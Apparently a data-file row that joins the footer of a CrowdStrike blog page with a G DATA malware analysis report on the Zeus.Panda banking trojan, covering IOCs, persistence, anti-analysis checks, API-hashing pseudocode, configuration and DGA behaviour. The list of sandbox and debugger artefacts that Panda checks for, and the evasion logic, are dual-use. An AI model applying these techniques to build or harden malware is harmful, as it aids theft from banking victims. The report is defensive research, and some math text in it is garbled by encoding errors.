adversaries over the past year behind our CrowdStrike \xe2\x80\x9cHero\xe2\x80\x9d. Tweet Share CrowdStrike Falcon Free Trial Dmitri Alperovitch Co-founder and CTO of Crowdstrike, Dmitri Alperovitch leads the Intelligence, Technology and CrowdStrike Labs teams. Alperovitch has invented 18 patented technologies and has conducted extensive research on reputation systems, spam detection, web security, public-key and identity-based cryptography, malware and intrusion detection/prevention. He is a renowned computer security researcher and thought leader on cybersecurity policies and state tradecraft. Alperovitch\xe2\x80\x99s many honors include being selected as MIT Technology Review\xe2\x80\x99s \xe2\x80\x9cYoung Innovators under 35\xe2\x80\x9d (TR35) in 2013. He also was named Foreign Policy Magazine\xe2\x80\x99s Leading Global Thinker for 2013 and received a Federal 100 Award for his information security contributions. Related Content CrowdStrike Faloon Fund Banner New Falcon Fund Helps Startups Develop Innovative Apps for the Falcon Platform This year\xe2\x80\x99s launch of The CrowdStrike\xc2\xae Store, a marketplace for third-party apps that expand the capabilities\xe2\x80\xa6 CrowdScore Introducing CrowdScore: A New Approach to Eliminate Alert Fatigue and Provide CxO-Level Real-Time Threat Metrics [VIDEO] This week, in conjunction with Black Hat USA 2019, CrowdStrike\xc2\xae is proud to announce a powerful\xe2\x80\xa6 Crowdstrike Celebrates IPO CrowdStrike Becomes a Publicly Traded Company I\xe2\x80\x99m proud to announce that as of today, CrowdStrike\xc2\xae is a publicly traded company on The\xe2\x80\xa6 CATEGORIES ENDPOINT PROTECTION(181) EXECUTIVE VIEWPOINT(95) FROM THE FRONT LINES(86) RESEARCH & THREAT INTEL(138) TECH CENTER(56) CONNECT WITH US CrowdStrike Falcon Free Trial FEATURED ARTICLES How to gain visibility into Mobile Devices September 17, 2019 Ransomware Increases the Back-to-School Blues September 17, 2019 How to use Falcon Insight to get Additional USB Device Visibility September 16, 2019 Using Docker to Do Machine Learning at Scale September 13, 2019 SUBSCRIBE Sign up now to receive the latest notifications and updates from CrowdStrike. SIGN UP See CrowdStrike Falcon in Action Detect, prevent, and respond to attacks\xe2\x80\x94 even malware-free intrusions\xe2\x80\x94at any stage, with next-generation endpoint protection. SEE DEMO CrowdStrike Discovers Use of 64-bit Zero-Day Privilege Escalation Exploit (CVE-2014-4113) by Hurricane PandaUnprecedented Announcement by FBI Implicates North Korea in Destructive Attacks Copyright \xc2\xa9 2019 CrowdStrike Privacy Request Info Blog Join Our Team Sitemap Contact Us 1.888.512.8906 English","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Analysis Results of Zeus.Variant.Panda ADVANCED ANALYTICS Analysis Results of Zeus.Variant.Panda Luca Ebach Analysis Report. June 22, 2017 G DATA Advanced Analytics GmbH G DATA Campus \xc2\xb7 K\xc3\xb6nigsallee 178 D-44799 Bochum, Germany Contents 1 Introduction 2 2 Overview 3 2.1 General Information . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 2.2 Execution Flow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 3 Anti-Detection and Anti-Reverse-Engineering Techniques 6 3.1 Malware Startup Checks . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 3.1.1 Debug support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 3.1.2 Language checks . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 3.1.3 Anti analysis check . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 3.2 Windows API Imports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3.3 Crypted Strings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3.4 Cryptography . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 3.4.1 Random Numbers . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 3.4.2 Cryptography . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 3.4.3 Hashing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 4 Configuration 13 4.1 Bot ID . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 4.2 Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 4.2.1 Base Config . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 4.2.2 Local Config (PeSettings) . . . . . . . . . . . . . . . . . . . . . . . 14 4.2.3 Dynamic Config . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 4.2.4 Local Settings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 4.3 Bot Update . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 4.4 Configuration Update . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 5 Payload and Persistence 20 5.1 Persistence . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 5.2 HTTP Grabber and Injector . . . . . . . . . . . . . . . . . . . . . . . . . . 20 5.3 Process Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 5.4 API Hooking Technique . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 5.5 Hooks and Browser Manipulation . . . . . . . . . . . . . . . . . . . . . . . 22 5.5.1 Internet Explorer . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 5.5.2 Mozilla Firefox . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 5.5.3 Google Chrome . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 5.5.4 User Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 Contents 1 5.6 Plug-in ability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 5.7 Webfilters . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 5.8 Remote Script . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 5.9 System Report . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29 6 Conclusion 30 1 Introduction Aside from ransomware attacks, banking trojans are also a very dangerous type of mal- ware. They do not have destructive behaviour in the first place, so their presence on a victim\xe2\x80\x99s system might not be detected for quite an amount of time if the victim has no proper antivirus product installed. Since Panda is possibly among the most dangerous families of banking trojans, we decided to do a comprehensive analysis of a recent sample of Panda. In this paper we focus on the analysis of the binary part of a Zeus.Panda malware sample. For a detailed analysis of the actual webinject behaviour and the communication flow between infected machines and the automatic transfer system\xe2\x80\x99s server, please refer to our blogposts1 2 by Manuel K\xc3\xb6rber-Bilgard and Karsten Tellmann. 1https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/ 2https://cyber.wtf/2017/03/13/zeus-panda-webinjects-dont-trust-your-eyes/ https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/ https://cyber.wtf/2017/03/13/zeus-panda-webinjects-dont-trust-your-eyes/ 2 Overview 2.1 General Information The original Zeus banking trojan\xe2\x80\x99s source code was leaked in 2011 and since then several independent threat actors have used the source code as a basis for new variants of the malware. One of the most prolific and advanced of these variants is the Zeus.Panda banking trojan which we will analyse in this white paper. Zeus.Panda targets Windows operating systems from WinXP through Windows 10 and is typically spread through phishing mail campaigns, but proliferation through drive-by exploits has been seen. The sample analyzed in this whitepaper is: MD5 Packed: e005c4009c22e0f73fcdaeba99bd0075 Unpacked: 655f65b1b08621dfcb2603b59fca05bc SHA1 Packed: 6f5c186baa0d69799c250769052236b8bcfb13a1 Unpacked: 88782d3b74067d405e56f0a5e9b92e3fdb77dcd8 SHA256 Packed: d037723b90acb9d5a283d54b833e171e913f6fa7f44dd6d996d0cecae9595d0b Unpacked: bd956b2e81731874995b9b92e20f75dbf67ac5f12f9daa194525e1b673c7f83c Size Packed: 252 KB Unpacked: 140 KB Number of Functions 538 IOCs (Filesystem) Panda tries to find a directory underneath %APPDATA%\\Roaming that \xe2\x88\x99 is empty, \xe2\x88\x99 has a path that is at least 140 characters long, \xe2\x88\x99 does not contain either of microsoft or firefox, and \xe2\x88\x99 is as deep in the directory tree as possible In our analysis environment, Panda ended up in %APPDATA%\\Roaming\\Sun\\Java. In the directory, Panda creates four files with random file extensions. We discovered 2.2 Execution Flow 4 Desktop (create shortcut).exe (malware executable), Control Panel.cyd (dy- namic config file, section 4.2.3), Desktop.ysq (report file, section 5.9), and Notepad.kix (localconfig file, section 4.2.2). IOCs (Registry) Aside from writing some files to disk, Panda also uses some registry keys to store data. All the registry keys used by Panda are located in the HKCU\\Software\\Microsoft key. The names of the keys are random and in our system we observed Ivoc (reg- DynamicConfig), Kounhu (regLocalConfig), and Useglugy (regLocalSettings). See section 4.2.2 for a more detailed description of the configuration. Additionally, Panda creates a new entry within the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run registry key which is used to start the malware as soon as the infected user logs into its account. IOCs (other) Internally, Panda uses several mutexes and events to synchronize between the controlling process and the client instances in the browsers. The names of these objects are fixed on the local system but are different for any other system. Al- though, the names are 32-character hexadecimal strings in either case. Example: 4A0000002571569EA477E09F768C1A07 2.2 Execution Flow Figure 2.1 gives an overview of the control flow of Zeus.Panda. Each step will be de- scribed in detail in the coming chapters. 2.2 Execution Flow 5 Figure 2.1: Control flow of the malware executable. 3 Anti-Detection and Anti-Reverse-Engineering Techniques 3.1 Malware Startup Checks Before installing the malware executable in the victim\xe2\x80\x99s system, Panda performs several checks to verify that it runs in a sane environment. 3.1.1 Debug support The first check verifies the integrity of a .dbg file. If the file is present on the file system, it has the same name as the executable. The .dbg file contains encrypted JSON data 3.4 of the form { ""data"": ""[data]"", ""sign"": ""[signature]"" } After reading the content of the file, Panda hashes the data part of the JSON object us- ing SHA1 through the Windows Crypt API. Afterwards, it uses CryptVerifySignature to check the calculated hash against the content of the sign field using a static public key from the executable. If the signature is not valid, Panda removes itself from the system. If the signature check is passed, Panda will bypass the subsequent anti-analysis code. 3.1.2 Language checks Once the debug support check is passed, Panda checks the current keyboard layout against a predefined list of layouts. In the sample I analyzed, the list contained 0x419, 0x422, 0x423, 0x43f which stand for russian, ukrainian, belarusian, and kazakh, respec- tively. If either of those matches the current keyboard layout, Panda removes itself from the victim\xe2\x80\x99s PC. 3.1.3 Anti analysis check The last step of the pre-run checks is a rather long list of checks for debug and analysis tools. Some of these tools are antiquated such as SoftIce where support stopped long before Windows XP which is the least recent operating system supported by Panda. Other of the tools such as IDA Pro and Immunity Debugger remain popular tools with 3.1 Malware Startup Checks 7 malware analysts. If any of these tools are present Panda aborts execution and removes itself. To identify analysis tools Panda uses four different types of tests: file use CreateFile with OPEN_EXISTING flag to check if a file/device exists mutex use OpenMutex to try to open an existing mutex running process use CreateToolhelp32Snapshot to get the list of currently running processses and check if any of them contains a given string registry key use RegOpenKey to check if a registry key exists or check a registry key if it contains a given value The full list contains checks for 23 tools and is shown in the table at the end of the section. If either of those tests fails, Panda stops to installing and removes itself from the system. Although, these checks can be skipped using -f as a command line parameter at the start of the malware. aut2exe process aut2exe running Bochs registry key HKLM\\HARDWARE\\Description\\System\\SystemBiosVersion contains BOCHS Execute file C:\\\\execute.exe exists Frz mutex with name Frz_State exists IDA Pro process idaq running ImmunityDBG process immunity running Perl process perl running PopupKiller file C:\\popupkiller.exe exists prl One of: 3.1 Malware Startup Checks 8 \xe2\x88\x99 file \\\\.\\prl_pv exists \xe2\x88\x99 file \\\\.\\prl_tg exists \xe2\x88\x99 file \\\\.\\prl_time exists ProcessExplorer process procexp running ProcessMonitor process procmon running ProcessHacker process processhacker running Python process python running Regshot process regshot running Sandboxie One of: \xe2\x88\x99 SbieDll.dll can be loaded by LoadLibraryA \xe2\x88\x99 mutex Sandboxie_SingleInstanceMutex_Control exists SoftICE One of: \xe2\x88\x99 file \\\\.\\SICE exists \xe2\x88\x99 file \\\\.\\SIWVID exists \xe2\x88\x99 file \\\\.\\SIWDEBUG exists \xe2\x88\x99 file \\\\.\\NTICE exists \xe2\x88\x99 file \\\\.\\REGVXG exists \xe2\x88\x99 file \\\\.\\FILEVXG exists \xe2\x88\x99 file \\\\.\\REGSYS exists \xe2\x88\x99 file \\\\.\\FILEM exists \xe2\x88\x99 file \\\\.\\TRW exists \xe2\x88\x99 file \\\\.\\ICEXT exists Stimulator file C:\\stimulator.exe exists VirtualBox One of: 3.1 Malware Startup Checks 9 \xe2\x88\x99 file \\\\.\\VBoxGuest exists \xe2\x88\x99 file \\\\.\\VBoxMouse exists \xe2\x88\x99 file \\\\.\\VBoxVideo exists \xe2\x88\x99 file \\\\.\\VBoxMiniRdrDN exists \xe2\x88\x99 file \\\\.\\VBoxMiniRdDN exists \xe2\x88\x99 file \\\\.\\VBoxTrayIPC exists \xe2\x88\x99 registry key HKLM\\SOFTWARE\\Oracle\\VirtualBox Guest Additions exists \xe2\x88\x99 registry key HKLM\\HARDWARE\\ACPI\\DSDT\\VBOX__ exists VirtualPC One of: \xe2\x88\x99 mutex MicrosoftVirtualPC7UserServiceMakeSureWe\xe2\x80\x99reTheOnlyOneMutex exists \xe2\x88\x99 file \\\\.\\VirtualMachineServices exists VMware One of: \xe2\x88\x99 file \\\\.\\HGFS exists \xe2\x88\x99 file \\\\.\\vmci exists \xe2\x88\x99 registry key HKLM\\SOFTWARE\\VMware Inc.\\VMware Tools exists Wine One of: \xe2\x88\x99 kernel32.dll contains \xe2\x80\x9dwine_get_unix_file_name"" function \xe2\x88\x99 registry key HKLM\\Software\\WINE exists \xe2\x88\x99 registry key HKCU\\Software\\WINE exists Wireshark One of: \xe2\x88\x99 file \\\\.\\NPF_NdisWanIp exists \xe2\x88\x99 process wireshark running Hypervisor One of: \xe2\x88\x99 check if hypervisor bit of CPU is set \xe2\x88\x99 file \\\\.\\VmGenerationCounter exists 3.2 Windows API Imports 10 Function Resolve(Module, FunctionID) { For exportName in Module.Exports { If (CRC32(exportName) == FunctionID) { Return AddressOfFunction(exportName) } } } Function Import(ModuleID, FunctionID) { If (FunctionID not in cache) { Module := DecryptName(ModuleID) If (Module is not loaded) { LoadLibrary(Module) } cache[functionID] := Resolve(Module, FunctionID) } Return cache[functionID] } Listing 3.1: Pseudocode describing the implementation of the Windows API import function. 3.2 Windows API Imports To harden itself against static analysis, Panda avoids importing Windows API functions directly. Instead, it uses LoadLibrary and parses the export directory of libraries. It creates a CRC32 hash of each export name and compares it to a hardcoded CRC32 of the name of the desired import. If the two match, the function address from the export directory of the library is used. In case of forwarded exports Panda reverts to import the function by using the GetProcAddress API. A simplified pseudo code of the import function is shown in listing 3.1. The actual implementation is a bit more complicated, but this should give an overview of how it works. There are exceptions however. It seems that some imports are, by accident, left in the binary. Fortunately, this includes functions like LoadLibrary and GetProcAddress which lowered the difficulty of the static analysis since we were able to determine the import function shortly after the start of the analysis. Also, calls to the Heap* func- tions (Alloc, Free, ReAlloc, Create, Destroy) and also a single call to Sleep are not imported using the custom import functions. 3.3 Crypted Strings Most strings an analyst might come across during the analysis process are encrypted. This hinders an analyst from using strings to determine the purpose of some functions. 3.4 Cryptography 11 struct cryptEntry { char key; char unused; short length; const char* data; } Listing 3.2: The layout of an entry in the list of encrypted strings. Panda decrypts the strings on the fly whenever a string is needed. The decryption routine for the i-th string is rather simple: \xf0\x9d\x91\x9c\xf0\x9d\x91\xa2\xf0\x9d\x91\xa1\xf0\x9d\x91\x9d\xf0\x9d\x91\xa2\xf0\x9d\x91\xa1[\xf0\x9d\x91\x9d\xf0\x9d\x91\x9c\xf0\x9d\x91 ] = \xf0\x9d\x91\x9d\xf0\x9d\x91\x9c\xf0\x9d\x91 \xe2\x8a\x95 \xf0\x9d\x91\x90\xf0\x9d\x91\x9f\xf0\x9d\x91\xa6\xf0\x9d\x91\x9d\xf0\x9d\x91\xa1\xf0\x9d\x91\x92\xf0\x9d\x91\x91\xf0\x9d\x91\x86\xf0\x9d\x91\xa1\xf0\x9d\x91\x9f\xf0\x9d\x91\x96\xf0\x9d\x91\x9b\xf0\x9d\x91\x94\xf0\x9d\x91 [\xf0\x9d\x91\x96].\xf0\x9d\x91\x91\xf0\x9d\x91\x8e\xf0\x9d\x91\xa1\xf0\x9d\x91\x8e[\xf0\x9d\x91\x9d\xf0\x9d\x91\x9c\xf0\x9d\x91 ]\xe2\x8a\x95\xe2\x88\xbc\xf0\x9d\x91\x90\xf0\x9d\x91\x9f\xf0\x9d\x91\xa6\xf0\x9d\x91\x9d\xf0\x9d\x91\xa1\xf0\x9d\x91\x92\xf0\x9d\x91\x91\xf0\x9d\x91\x86\xf0\x9d\x91\xa1\xf0\x9d\x91\x9f\xf0\x9d\x91\x96\xf0\x9d\x91\x9b\xf0\x9d\x91\x94\xf0\x9d\x91 [\xf0\x9d\x91\x96].\xf0\x9d\x91\x98\xf0\x9d\x91\x92\xf0\x9d\x91\xa6 All encrypted strings are referenced in a large static array of structures in the read- only section of the binary. Each entry is a structure of type cryptEntry (see listing 3.2) which consists of the key character, the length of the encrpyted string, and a pointer to the actual encrypted string. The decryption function then takes the index of the to-be- decrypted string in the array of structs, extracts the key, length, and string pointer from it and than decrypts the strings into a given buffer. Depending on how this function is used, it either decrypts the strings onto the stack (if the function is directly called) or the string is encrypted into the heap if any of the intermediate function is called. During the analysis we used the IDAPython plugin idaemu (frontend for UnicornEngine for use in IDA Pro) to emulate the encryption function for all possible string indexes and annotated the IDA database accordingly. 3.4 Cryptography 3.4.1 Random Numbers Instead of usingWinAPI functions to generate random numbers, Panda uses the Mersenne Twister MT 19937 to generate random numbers. Panda provides internal API functions to generate single numbers or buffers with support for upper and lower bounds for the numbers. 3.4.2 Cryptography Additionally, Panda uses a set of cryptographic algorithms to encrypt and hash sensitive data to prevent analysis and manipulation of the data. For example, Panda encrypts almost all settings and configuration values in memory. The algorithms used are AES and RC4. Both of them are used either with a hardcoded or with a dynamic key (which is generated during the first run of the malware). Interestingly, both AES and RC4 share the same dynamic binary key material. RC4 (static key) \xe2\x88\x99 parts of the basic config that are double encrypted 3.4 Cryptography 12 \xe2\x88\x99 PeSettings in the extended file attributes of the malware executable (see sec- tion 4.2.2) \xe2\x88\x99 object name generation (RC4 is used for scrambling there, no cryptographic purpose) \xe2\x88\x99 encrypted data in dynamic config (e. g. backconnect IPs and ports for Vnc and Socks) RC4 (dynamic key) \xe2\x88\x99 local settings (see section 4.2.4) \xe2\x88\x99 report data that is temporarily stored on disk until it is submitted to the command-and-control server AES (static key) \xe2\x88\x99 base config decryption (see section 4.2.1) \xe2\x88\x99 internal public key decryption \xe2\x88\x99 decryption of delay-loaded binary modules \xe2\x88\x99 communication with command-and-control server AES (dynamic key) \xe2\x88\x99 registry data (dynamic config, local config; see section 4.2.3 and 4.2.2) 3.4.3 Hashing Aside from encrypting data, Panda also uses some cryptographic hash functions. SHA256 \xe2\x88\x99 DGA hostname generation (see section 4.4) \xe2\x88\x99 bot ID (see section 4.1) \xe2\x88\x99 object name generation \xe2\x88\x99 integrity check of AES encrypted data sent by the command-and-control server SHA1 \xe2\x88\x99 signature verification of the binary module data sent by the command-and- control server 4 Configuration 4.1 Bot ID To be able to track and control each malware instance in the botnet, Panda generates a unique bot id. The bot id is a 32-byte hex string that can be described as \xf0\x9d\x90\xb5\xf0\x9d\x91\x9c\xf0\x9d\x91\xa1\xf0\x9d\x90\xbc\xf0\x9d\x90\xb7 \xe2\x86\x90 \xf0\x9d\x90\xbb\xf0\x9d\x91\x92\xf0\x9d\x91\xa5\xf0\x9d\x91\x86\xf0\x9d\x91\xa1\xf0\x9d\x91\x9f\xf0\x9d\x91\x96\xf0\x9d\x91\x9b\xf0\x9d\x91\x94(\xf0\x9d\x91\x86\xf0\x9d\x90\xbb\xf0\x9d\x90\xb4256(\xf0\x9d\x91\x90\xf0\x9d\x91\x9c\xf0\x9d\x91\x9a\xf0\x9d\x91\x9d\xf0\x9d\x91\xa2\xf0\x9d\x91\xa1\xf0\x9d\x91\x92\xf0\x9d\x91\x9f\xf0\x9d\x91\x81\xf0\x9d\x91\x8e\xf0\x9d\x91\x9a\xf0\x9d\x91\x92||\xf0\x9d\x91\x96\xf0\x9d\x91\x9b\xf0\x9d\x91 \xf0\x9d\x91\xa1\xf0\x9d\x91\x8e\xf0\x9d\x91\x99\xf0\x9d\x91\x99\xf0\x9d\x90\xb7\xf0\x9d\x91\x8e\xf0\x9d\x91\xa1\xf0\x9d\x91\x92||\xf0\x9d\x91\x9d\xf0\x9d\x91\x9f\xf0\x9d\x91\x9c\xf0\x9d\x91\x91\xf0\x9d\x91\xa2\xf0\x9d\x91\x90\xf0\x9d\x91\xa1\xf0\x9d\x90\xbc\xf0\x9d\x91\x91||\xf0\x9d\x91\xa3\xf0\x9d\x91\x92\xf0\x9d\x91\x9f\xf0\x9d\x91 \xf0\x9d\x91\x96\xf0\x9d\x91\x9c\xf0\x9d\x91\x9b\xf0\x9d\x90\xbc\xf0\x9d\x91\x9b\xf0\x9d\x91\x93\xf0\x9d\x91\x9c)) where computerName local computer name, fallback to \xe2\x80\x9dunknown\xe2\x80\x9d if error in GetComputerNameW installDate content of registry key HKLM\\Software\\Microsoft\\Windows NT\\Current Version\\InstallDate productId CRC32 sum of the content of the registry key HKLM\\Software\\Microsoft\\Windows NT\\Current Version\\DigitalProductId; fallback to 0 if failed getting key value versionInfo CRC32 sum of OSVERSIONINFOEXW where everything from (and including) szCS- DVersion is zeroed out (szCSDVersion, wServicePackMajor, wServicePackMinor, wSuiteMask, wProductType, wReserved); fallback to CRC32 sum of sizeof(OSVERSIONINFOEXW) zeroes Apart from identifying the bot, the bot id is also used as part of the algorithm that generates kernel object names (mutexes, window class names, event names, etc). 4.2 Configuration Panda uses three different types of configurations: base, local, and dynamic. Each type of config has its own special purpose and is not available through static analysis \xe2\x80\x93 except for the base config. 4.2.1 Base Config For the initial configuration and the first connections to the command-and-control server, Panda contains a static base config with default settings for the most important confi- guration values. This includes the following values: 4.2 Configuration 14 dwDelayConfig delay in minutes how long to wait until malware starts to get the initial dynamic config dwRc4KeyLength length of the binary RC4 key szwDGAConfigUrls list of URLs suffixes for the DGA (see section 4.4) rc4Key binary RC4 key, used to encrypt the PeSettings dwDGAConfigUrlsLength length of szwDGAConfigUrls szwInitialCnCHosts an encrypted, null-separated list of strings for initial command-and-control do- mains dwWaitAfterProcessInfection delay in minutes how long to wait for the core process to be initialized dwCnCUrlCount number of command-and-control domains in szwInitialCncHosts dwCheckConfigDelay delay in minutes for next dynamic config check 4.2.2 Local Config (PeSettings) The local config the data that is shared by all instances of the Panda malware on the local system and is generated only once at the first start of the malware and is then persisted in the malware executable using Extended File Attributes. The values of the PeSettings structure are as follows: dwStructSize the size of the structure szwBotId the ID of the bot that is used to identify the client against the backend server (see section 4.1) guid the GUID of the local system; if the malware is executed again after the first start, it recalculates the guid and checks if it matches the one from the PeSettings. If this is not the case, Panda aborts its execution. This can be used to check if the malware was moved to another PC after it was started once (e.g. copying a persisted sample 4.2 Configuration 15 of the malware from a victim\xe2\x80\x99s computer to an analysis environment of a malware analyst) rc4BinKey this RC4 key is used to encrypt all data that goes to the registry keys (e.g. a backup of the currently used dynamic config) dwInfectionId a random number identifying the current infection szwCoreFile, szwReportFile, szwDynConfigFile, szwLocalConfigFile files on the local filesystem; szwCoreFile is the name of the malware executable; szwReportFile contains the path to the file where Panda temporarily stores the report data until they are sent to the server; szwDynConfigFile points to the file where the dynamic config is backed up on the filesystem; szwLocalConfigFile contains the file where the local config is stored regKey a random registry key name regDynamicConfig the name of the registry key that contains the backup of the current dynamic config regLocalConfig the name of the registry key containing a backup of the local PeSettings regLocalSettings the name of the registry key that is used to store the local settings into (e.g. IDs of socks and VNC modules) 4.2.3 Dynamic Config The first thing Panda does after initializing and injecting into its run-time host process is to download a dynamic config from its command-and-control server. This configuration is created by the command-and-control server on demand and can change at any time. This allows the malware operator to maintain his control capabillity even in the event that the static configured command and control server is shut down. But especially the dynamic configuration is interesting for malware analysts because it contains the URLs and/or IP addresses of the ATS server(s). Panda uses its built-in JSON parser to parse the dynamic configuration. The malware makes use of the following values: created the creation date of the config; used to check if the downloaded one is newer than the local one botnet the name of the botnet the client is part of 4.2 Configuration 16 check_config time in seconds when to check for the next dynamic config send_report time in seconds when to send the next system report check_update time in seconds when to check for the next client update url_config the url from where to download the next dynamic config url_webinjects the url from where to download the webinjects url_update the url for the bot update url_plugin_vnc32 the url for the VNC32 module url_plugin_vnc64 the url for the VNC64 module url_plugin_vnc_backserver the URL/IP address where the VNC module should connect to url_plugin_grabber the url for the http grabber module url_plugin_backsocks the url for the backconnect socks proxy module url_plugin_backsocks_backserver the URL/IP address where the socks backconnect proxy should connect to reserved encrypted data, from the context of the use of the data it seems that this is a list of fallback URLs for the download of the dynamic config (see section 4.4) grabber_pause time in minutes how long to wait until starting the grabber module There are some additional configuration values that can be provided which are not directly used by the sample, but probably used in one of the modules: grab_softlist/grab_pass/grab_form/grab_cert/grab_cookie/grab_del_cookie/grab_del_cache flags denoting whether the grabber module should grab specific data or to delete some data (cookies, cache) 4.2 Configuration 17 dgaconfigs the url for the DGA config file; the DGA config file contains a list of URL suffixes which are appended to a generated string from where the bot will try to download the next dynamic configuration webfilters a list of URL masks where Panda can take special actions (see section 5.7) webinjects URLs, payloads, and location descriptions for the webinjects 4.2.4 Local Settings Additionally, Panda stores some run-time settings in a structure called LocalSettings by the malware authors. These settings are not meant to control the behaviour of the bot, it is more like a temporary data store of values that are client specific and need to be kept even after the malware is restarted (e. g. because of a system reboot). The structure contains the following values: dwModuleStartFlags bitmap denoting which of the modules has been started dwGrabberFlags bitmap denoting which of the http grabber features has been enabled dwPandaAntivirusFound set to 1 if Panda Antivirus was found, changes the behaviour of the bot update dwHashSet bitmap denoting which of the hashes has been set szConfigId, szWebinjectsId, szUpdateId, szGrabberId, szVnc32Id, szVnc64Id, szBack- socksId 65-byte buffers to store the hashes of the respective files/modules dwCurrentUrlIdx the index of the currently used update URL in the list fallback URLs dwUrlRetryCount the retry count of the URL specified by dwCurrentUrlIdx ; maximum value is set in the base config wBacksocksBackserverPort the port of the server of the backconnect socks proxy wVncBackserverPort the port of the server of the backconnect vnc module 4.3 Bot Update 18 4.3 Bot Update Once persisted in the victim\xe2\x80\x99s system, Panda is able to update the malware executable by its own. In the usual case, Panda therefore downloads the new executable to a temporary file. The file is located in the directory returned by GetTempPathW. The name of the file is of the form updXXXXXXXX.exe where XXXXXXXX is the hexadecimal representation of a 4-byte random number. After writing the file and applying the PeSettings to the Extended File Attributes, the \xe2\x80\x9dupdate\xe2\x80\x9d is executed using CreateProcessW with -f as an argument flag. This triggers the \xe2\x80\x9dupdate\xe2\x80\x9d functionality of the bot so that all necessary settings are copied over to the new executable. In the case of having Panda Antivirus present in the system, Panda overwrites the old malware executable in place and directly copies over the local settings instead of creating and executing a temporary file. 4.4 Configuration Update One of the first things Panda does after initializing itself and persisting in the system is to download a dynamic configuration from the command-and-control server. To do so, Panda\xe2\x80\x99s base configuration (see section 4.2.1) contains a list of URLs from where to get the initial dynamic configuration. If the command-and-control server is already taken down at the time of checking, Panda cannot download a dynamic configuration and fails to exfiltrate any information. It still hooks all functions and gathers data (keystrokes, etc) but these information will never leave the system until the bot is able to download a (new) dynamic configuration. The download routine for the dynamic configuration uses three different ways to get a dynamic configuration. First, it tries to get a dynamic configuration file from the URL provided in url_config in the old dynamic config. Of course, this only works if Panda already received a dynamic config once. If it did not receive a dynamic config at that point, it tries to get a configuration file from each of the command-and-control domains of the base config. In case Panda is not able to download the dynamic config using the URL from the url_config field and the fallback command-and-control hosts (the malware allows for 5 failed retries for each of the domains), Panda takes the encrypted data from the reserved field, decrypts it, and tries to download a dynamic config from one of the URLs of that data. If Panda is still not able to get a dynamic config at that point, it uses a domain generation algorithm to generate a possible hostname. Therefore, it takes the current system timestamp and modifies it a way that it stays the same for three days (set msec, sec, minute, hour to zero and subtract (\xf0\x9d\x91\x91\xf0\x9d\x91\x8e\xf0\x9d\x91\xa6\xf0\x9d\x91\x82\xf0\x9d\x91\x93\xf0\x9d\x91\x80\xf0\x9d\x91\x9c\xf0\x9d\x91\x9b\xf0\x9d\x91\xa1\xe2\x84\x8e mod 3) * \xf0\x9d\x91 \xf0\x9d\x91\x92\xf0\x9d\x91\x90\xf0\x9d\x91 \xf0\x9d\x91\x83\xf0\x9d\x91\x92\xf0\x9d\x91\x9f\xf0\x9d\x90\xb7\xf0\x9d\x91\x8e\xf0\x9d\x91\xa6 seconds from it). Then, Panda takes the built-in RC4 key to initialize a RC4 state and xores the timestamp onto it (first 8 bytes xor with plain timestamp, second 8 bytes with binary inverted timestamp) and calculates the SHA256 sum of the RC4 state. The result is then converted to a hex string and is used as the first part of the generated domain. The 4.4 Configuration Update 19 second part of the domain is one of the domain suffixes from the base config and looks like \xe2\x80\x9dXX.tld/filename.ext\xe2\x80\x9d for the sample I analyzed. But the suffix can change and is not bound to any special requirements except for that it needs to make a valid domain from the generated name. 5 Payload and Persistence 5.1 Persistence As part of the initialization procedure, Panda tries to persist in the following manner: First, it finds a suitable folder for the malware executable to reside in. In our case, it chose %APPDATA%\\Sun\\Java. It then moved the malware executable from the desktop to that folder and renamed it to Desktop (Create Shortcut).exe. 